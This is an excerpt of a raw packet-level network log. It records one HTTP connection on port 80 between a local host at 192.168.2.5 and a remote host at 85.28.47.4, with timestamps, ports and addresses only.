Jul 2, 2024 04:11:59.618464947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618473053 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.618482113 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618493080 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.618504047 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618508101 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.618535995 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.618535995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618545055 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.618578911 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.618591070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618609905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618633032 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.618654966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.618774891 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618798018 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618814945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618823051 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.618838072 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618845940 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.618858099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618860006 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.618876934 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618889093 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.618896961 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.618899107 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618911982 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.618927956 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618941069 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618941069 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.618966103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618968964 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.618983030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618990898 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.619003057 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.619005919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.619015932 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.619020939 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.619045973 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.619067907 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.619074106 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.619091034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.619110107 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.619112015 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.619132996 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.619137049 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.619143963 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.619157076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.619180918 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.619199991 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.619246960 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.619267941 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.619280100 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.619301081 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.619309902 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.619323969 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.619549990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.619596004 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.624341011 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.624367952 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.624428034 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.624469995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.624491930 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.624507904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.624521017 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.624526978 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.624530077 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.624538898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.624546051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.624579906 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.624604940 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.624691010 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.624707937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.624723911 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.624732018 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.624759912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.624761105 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.624777079 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.624794006 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.624799013 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.624811888 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.624825001 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.624845982 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.625056028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.625103951 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.625196934 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.625212908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.625230074 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.625241041 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.625246048 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.625256062 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.625262976 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.625272036 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.625282049 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.625292063 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.625304937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.625310898 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.625324965 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.625325918 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.625345945 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.625358105 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.625673056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.625689030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.625708103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.625719070 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.625725985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.625739098 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.625765085 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.625804901 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.625821114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.625847101 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.625858068 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.626000881 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.626018047 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.626034975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.626044989 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.626055002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.626065016 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.626106024 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.626192093 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.626208067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.626225948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.626240969 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.626243114 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.626259089 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.626286030 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.626337051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.626353979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.626370907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.626382113 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.626389027 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.626390934 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.626405954 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.626413107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.626425028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.626442909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.626456976 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.626456976 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.626456976 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.626473904 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.626657009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.626708031 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.626775980 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.626791954 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.626810074 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.626812935 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.626826048 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.626851082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.626970053 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.626986980 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.627003908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.627016068 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.627021074 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.627032995 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.627041101 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.627052069 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.627080917 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.629168987 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.629230022 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.693665981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.693711042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.693732977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.693753004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.693773031 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.693790913 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.693815947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.693933010 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.699784994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.699866056 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.699886084 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.699901104 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.699924946 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.699944973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.699955940 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.699965954 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.699987888 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.700006962 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.700016975 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.700054884 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707232952 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707245111 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707263947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707298040 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707331896 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707379103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707391977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707408905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707422972 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707425117 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707442045 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707457066 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707459927 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707484961 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707515955 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707531929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707554102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707564116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707586050 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707597017 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707603931 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707617044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707628012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707628012 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707647085 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707647085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707669020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707669020 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707684040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707693100 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707703114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707719088 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707726955 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707741022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707755089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707761049 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707772017 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707779884 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707787037 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707803011 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707806110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707827091 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707834005 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707842112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707856894 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707859993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707868099 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707874060 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707885981 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707892895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707902908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707909107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707926035 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707932949 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707947016 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707957983 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707959890 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.707976103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.707987070 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.708018064 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.708909035 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.708920002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.708982944 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.709042072 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.709089994 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.709239006 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.709249973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.709268093 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.709280014 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.709295988 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.709296942 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.709321976 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.709342003 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.713757992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.713828087 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.713834047 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.713838100 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.713864088 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.713865042 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.713875055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.713886976 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.713895082 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.713896036 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.713907003 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.713927984 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.713929892 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.713929892 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.713942051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.713949919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.713960886 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.713965893 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.713993073 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.714001894 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.714200974 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714212894 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714230061 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714242935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714243889 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.714261055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714272022 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.714302063 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.714335918 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714353085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714380026 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.714405060 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.714474916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714485884 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714504004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714510918 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.714524984 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.714546919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.714649916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714660883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714678049 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714693069 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714704037 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.714711905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714731932 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714740038 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.714741945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714751005 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.714765072 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714781046 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.714799881 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714804888 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.714816093 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714840889 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.714863062 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.714970112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714981079 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.714997053 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715006113 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715018988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715020895 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.715028048 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715032101 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.715068102 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.715107918 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715118885 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715136051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715146065 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715157032 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.715161085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715174913 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715179920 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.715210915 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.715229034 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.715269089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715279102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715295076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715306044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715308905 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.715322018 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715326071 CEST	49704	80	192.168.2.5	85.28.47.4
